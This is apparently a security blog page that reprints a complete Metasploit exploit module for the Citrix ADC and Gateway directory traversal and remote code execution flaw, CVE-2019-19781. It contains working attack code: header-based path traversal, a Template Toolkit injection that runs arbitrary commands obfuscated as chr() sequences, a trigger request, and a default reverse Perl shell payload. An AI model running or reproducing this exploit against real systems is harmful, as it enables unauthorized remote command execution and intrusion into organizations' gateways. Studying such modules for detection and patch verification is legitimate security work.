Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86388525

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Citrix ADC Remote Code Execution',
      'Description' => %q(
        An issue was discovered in Citrix Application Delivery Controller (ADC)
        and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
      ),
      'Author' => [
        'RAMELLA Sébastien' # https://www.pirates.re/
      ],
      'References' => [
        ['CVE', '2019-19781'],
        ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
        ['EDB', '47901'],
        ['EDB', '47902']
      ],
      'DisclosureDate' => '2019-12-17',
      'License' => MSF_LICENSE,
      'Platform' => ['unix'],
      'Arch' => ARCH_CMD,
      'Privileged' => true,
      'Payload' => {
        'Compat' => {
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic perl meterpreter'
        }
      },
      'Targets' => [
        ['Unix (remote shell)',
          'Type' => :cmd_shell,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_perl',
            'DisablePayloadHandler' => 'false'
          }
        ],
        ['Unix (command-line)',
          'Type' => :cmd_generic,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/generic',
            'DisablePayloadHandler' => 'true'
          }
        ],
      ],
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL'   => true
      },
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptAddress.new('RHOST', [true, 'The target address'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])

    deregister_options('RHOSTS')
  end

  def execute_command(command, opts = {})
    filename = Rex::Text.rand_text_alpha(16)
    nonce = Rex::Text.rand_text_alpha(6)

    request  = {
      'method' => 'POST',
      'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),
      'headers' => {
        'NSC_USER' => '../../../netscaler/portal/templates/' + filename,
        'NSC_NONCE' => nonce
      },
      'vars_post' => {
        'url' => 'http://127.0.0.1',
        'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]",
        'desc' => 'desc',
        'UI_inuse' => 'RfWeb'
      },
      'encode_params' => false
    }

    begin
      received = send_request_cgi(request)
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
      print_error('Unable to connect on the remote target.')
    end
    return false unless received

    if received.code == 200
      vprint_status("#{received.get_html_document.text}")
      sleep 2

      request = {
        'method' => 'GET',
        'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),
        'headers' => {
          'NSC_USER' => nonce,
          'NSC_NONCE' => nonce
        }
      }

      ## Trigger to gain exploitation.
      begin
        send_request_cgi(request)
        received = send_request_cgi(request)
      rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
        print_error('Unable to connect on the remote target.')
      end
      return false unless received
      return received
    end

    return false
  end

  def get_chr_payload(command)
    chr_payload = command
    i = chr_payload.length

    output = ""
    chr_payload.each_char do | c |
      i = i - 1
      output << "chr(" << c.ord.to_s << ")"
      if i != 0
        output << " . "
      end
    end

    return output
  end

  def check
    begin
      received = send_request_cgi(
        "method" => "GET",
        "uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')
      )
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
      print_error('Unable to connect on the remote target.')
    end

    if received && received.code != 200
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    unless check.eql? Exploit::CheckCode::Vulnerable
      unless datastore['ForceExploit']
        fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
      end
    else
        print_good('The target appears to be vulnerable.')
    end

    case target['Type']
    when :cmd_generic
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      received = execute_command(payload.encoded)
      if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic")
        print_warning('Dumping command output in parsed http response')
        print_good("#{received.get_html_document.text}")
      else
        print_warning('Empty response, no command output')
        return
      end

    when :cmd_shell
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      execute_command(payload.encoded)
    end
  end

end